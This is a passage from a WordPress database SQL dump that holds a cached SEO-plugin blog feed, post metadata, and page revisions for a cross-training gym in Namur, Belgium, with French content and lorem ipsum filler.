is only the beginning and we’ll be adding new features to SEO Ultimate plus, but don’t worry, there’s still plenty of horsepower in the free version (which you can get &lt;a href=\&quot;https://seodesignframework.leadpages.net/seo-ultimate-video-training/\&quot; data-mce-href=\&quot;https://seodesignframework.leadpages.net/seo-ultimate-video-training/\&quot;&gt;FREE video training&lt;/a&gt; for here). Before we leave, we&amp;#8217;ll let you play the quick and dirty version of the OpenGraph+ Module video.&lt;/p&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-center\&quot; style=\&quot;margin-top:35px;margin-bottom:35px;\&quot;&gt;&lt;iframe style=\&quot;height: 313px;\&quot; src=\&quot;//fast.wistia.net/embed/iframe/hocfwbb6rd?videoFoam=true\&quot; allowtransparency=\&quot;true\&quot; frameborder=\&quot;0\&quot; scrolling=\&quot;no\&quot; class=\&quot;wistia_embed\&quot; name=\&quot;wistia_embed\&quot; allowfullscreen=\&quot;\&quot; mozallowfullscreen=\&quot;\&quot; webkitallowfullscreen=\&quot;\&quot; oallowfullscreen=\&quot;\&quot; msallowfullscreen=\&quot;\&quot; width=\&quot;650\&quot; height=\&quot;311\&quot;&gt;&lt;/iframe&gt;&lt;script src=\&quot;//fast.wistia.net/assets/external/E-v1.js\&quot;&gt;&lt;/script&gt;&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-left\&quot;&gt;\n&lt;p&gt;But, if you haven’t already, let us know what you think by clicking here and &lt;a href=\&quot;https://wordpress.org/support/view/plugin-reviews/seo-ultimate\&quot; data-mce-href=\&quot;https://wordpress.org/support/view/plugin-reviews/seo-ultimate\&quot;&gt;leaving us a review on WordPress&lt;/a&gt; ;) or you can show your support by purchasing &lt;a href=\&quot;https://www.seoultimateplus.com/product/seo-ultimate-plus/\&quot; data-mce-href=\&quot;https://www.seoultimateplus.com/product/seo-ultimate-plus/\&quot;&gt;SEO Ultimate+&lt;/a&gt; for its powerful new features, training and support.&lt;/p&gt;\n&lt;p&gt;If you&amp;#8217;re looking&amp;nbsp; to build a new site, make sure to try SEO Ultimate&amp;#8217;s companion product the &lt;a href=\&quot;http://www.seodesignframework.com\&quot; data-mce-href=\&quot;http://www.seodesignframework.com\&quot;&gt;SEO Design Framework&lt;/a&gt;. &lt;/p&gt;\n&lt;p&gt;Thanks for stopping in&amp;#8230; since we can&amp;#8217;t read it, let us know what&amp;#8217;s on your mind. &lt;/p&gt;\n&lt;p&gt;Leave a comment below or share this post socially to get the word out about &lt;em&gt;&lt;strong&gt;our soft launch for SEO Ultimate+ &lt;/strong&gt;&lt;/em&gt;(up, up and away).&lt;/p&gt;\n&lt;p&gt;We look forward to hearing from you or you can be stealthy and just &lt;a href=\&quot;https://twitter.com/@jeffrey_smith\&quot; data-mce-href=\&quot;https://twitter.com/@jeffrey_smith\&quot;&gt;follow me on twitter&lt;/a&gt; instead.&lt;/p&gt;\n&lt;p&gt;All the best!&lt;/p&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=CLbuMSbKLvM:2zGIgKikAM0:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/CLbuMSbKLvM\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;}}s:7:\&quot;channel\&quot;;a:9:{s:5:\&quot;title\&quot;;s:28:\&quot;SEO Design Solutions™ Blog\&quot;;s:4:\&quot;link\&quot;;s:38:\&quot;http://www.seodesignsolutions.com/blog\&quot;;s:11:\&quot;description\&quot;;s:94:\&quot;Search Engine Optimization Strategies, Tips, Tactics and Techniques from SEO Design Solutions.\&quot;;s:8:\&quot;language\&quot;;s:5:\&quot;en-US\&quot;;s:13:\&quot;lastbuilddate\&quot;;s:29:\&quot;Mon, 17 Dec 2018 13:26:00 PST\&quot;;s:9:\&quot;generator\&quot;;s:31:\&quot;https://wordpress.org/?v=4.9.10\&quot;;s:2:\&quot;sy\&quot;;a:2:{s:12:\&quot;updateperiod\&quot;;s:6:\&quot;hourly\&quot;;s:15:\&quot;updatefrequency\&quot;;s:1:\&quot;1\&quot;;}s:10:\&quot;feedburner\&quot;;a:3:{s:14:\&quot;emailserviceid\&quot;;s:22:\&quot;SeoDesignSolutionsBlog\&quot;;s:18:\&quot;feedburnerhostname\&quot;;s:29:\&quot;https://feedburner.google.com\&quot;;s:9:\&quot;feedflare\&quot;;s:391:\&quot;Subscribe with My Yahoo!Subscribe with BloglinesSubscribe with NetvibesSubscribe with Bitty BrowserSubscribe with Daily RotationSubscribe with My AOLSubscribe with WikioSubscribe with PageflakesSubscribe with Excite MIXSubscribe with GoogleSubscribe with The Free DictionarySubscribe with Podcast ReadySubscribe with NewsGatorSubscribe with WebwagSubscribe with Live.comSubscribe with Plusmo\&quot;;}s:7:\&quot;tagline\&quot;;s:94:\&quot;Search Engine Optimization Strategies, Tips, Tactics and Techniques from SEO Design Solutions.\&quot;;}s:9:\&quot;textinput\&quot;;a:0:{}s:5:\&quot;image\&quot;;a:0:{}s:9:\&quot;feed_type\&quot;;s:3:\&quot;RSS\&quot;;s:12:\&quot;feed_version\&quot;;s:3:\&quot;2.0\&quot;;s:5:\&quot;stack\&quot;;a:0:{}s:9:\&quot;inchannel\&quot;;b:0;s:6:\&quot;initem\&quot;;b:0;s:9:\&quot;incontent\&quot;;b:0;s:11:\&quot;intextinput\&quot;;b:0;s:7:\&quot;inimage\&quot;;b:0;s:13:\&quot;current_field\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;current_namespace\&quot;;b:0;s:19:\&quot;_CONTENT_CONSTRUCTS\&quot;;a:6:{i:0;s:7:\&quot;content\&quot;;i:1;s:7:\&quot;summary\&quot;;i:2;s:4:\&quot;info\&quot;;i:3;s:5:\&quot;title\&quot;;i:4;s:7:\&quot;tagline\&quot;;i:5;s:9:\&quot;copyright\&quot;;}s:4:\&quot;etag\&quot;;s:27:\&quot;IUAJwnCC/ZcLUx+0VPBYEqjSOpU\&quot;;s:13:\&quot;last_modified\&quot;;s:29:\&quot;Mon, 26 Aug 2019 15:36:16 GMT\&quot;;}', 'no');
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'yes');

-- --------------------------------------------------------

--
-- Structure de la table `www2_postmeta`
--

CREATE TABLE `www2_postmeta` (
  `meta_id` bigint(20) UNSIGNED NOT NULL,
  `post_id` bigint(20) UNSIGNED NOT NULL DEFAULT '0',
  `meta_key` varchar(255) DEFAULT NULL,
  `meta_value` longtext
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

--
-- Déchargement des données de la table `www2_postmeta`
--

INSERT INTO `www2_postmeta` (`meta_id`, `post_id`, `meta_key`, `meta_value`) VALUES
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(67, 25, '_menu_item_object', 'page'),
(68, 25, '_menu_item_target', ''),
(69, 25, '_menu_item_classes', 'a:1:{i:0;s:0:\&quot;\&quot;;}'),
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(1, 1, '2013-05-23 18:04:49', '2013-05-23 18:04:49', 'Welcome to WordPress. This is your first post. Edit or delete it, then start blogging!', 'Hello world!', '', 'publish', 'open', 'open', '', 'hello-world', '', '', '2013-05-23 18:04:49', '2013-05-23 18:04:49', '', 0, 'http://www.crosstrainingcenter.be/?p=1', 0, 'post', '', 0),
(328, 1, '2013-07-10 15:47:50', '2013-07-10 15:47:50', '&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nLes prises de RDV pour les séances de\r\nTeam Training, Duo Training, Personnal\r\nTraining ou Coaching nutritionnel se\r\nfont exclusivement par téléphone.\r\n\r\n0485 / 92 . 02 . 12\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Adresse :&lt;/h1&gt;\r\nBowling et Squash de Namur\r\nChaussée de Perwez 251\r\n&lt;em id=\&quot;__mceDel\&quot;&gt; 5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/em&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n&lt;small&gt;&lt;a style=\&quot;color: #0000ff; text-align: left;\&quot; href=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;source=embed\&quot;&gt;Agrandir le plan&lt;/a&gt;&lt;/small&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-07-10 15:47:50', '2013-07-10 15:47:50', '', 9, 'http://www.crosstrainingcenter.be/9-revision-19/', 0, 'revision', '', 0),
(5, 1, '2013-05-23 18:12:51', '2013-05-23 18:12:51', '&lt;blockquote&gt;\r\n&lt;h2&gt;Bien plus qu\'une simple activité physique, le cross training center vous propose une approche unique faisant intervenir l\'alimentation et la gestion du stress, tout en vous proposant un entraînement de qualité.&lt;/h2&gt;\r\n&amp;nbsp;&lt;/blockquote&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 320px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 320px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'publish', 'closed', 'open', '', 'notre-philosophie', '', '', '2013-11-04 17:38:55', '2013-11-04 17:38:55', '', 0, 'http://www.crosstrainingcenter.be/?page_id=5', 0, 'page', '', 0),
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(358, 1, '2013-11-04 17:18:57', '2013-11-04 17:18:57', '&lt;blockquote&gt;\r\n&lt;h2&gt;Bien plus qu\'une simple activité physique, le cross training center vous propose une approche unique faisant intervenir l\'alimentation et la gestion du stress, tout en vous proposant un entraînement de qualité.&lt;/h2&gt;\r\n&amp;nbsp;&lt;/blockquote&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 320px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 320px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-11-04 17:18:57', '2013-11-04 17:18:57', '', 5, 'http://www.crosstrainingcenter.be/5-revision-v1/', 0, 'revision', '', 0),
(36, 1, '2013-06-13 16:24:45', '2013-06-13 16:24:45', 'Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle, en privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis. Ce dosage subtil définit la qualité de l\'entraînement. Ces 3 buts sont :\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;PREVENIR&lt;/b&gt; – &lt;b&gt;AMELIORER&lt;/b&gt; – &lt;b&gt;RECUPERER&lt;/b&gt;.&lt;/p&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-13 16:24:45', '2013-06-13 16:24:45', '', 5, 'http://www.crosstrainingcenter.be/?p=36', 0, 'revision', '', 0),
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Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. 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Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. 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Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-05-24 14:36:30', '2013-05-24 14:36:30', '', 11, 'http://www.crosstrainingcenter.be/?p=37', 0, 'revision', '', 0),
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Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;\r\n\r\n&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;\r\n\r\n&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis 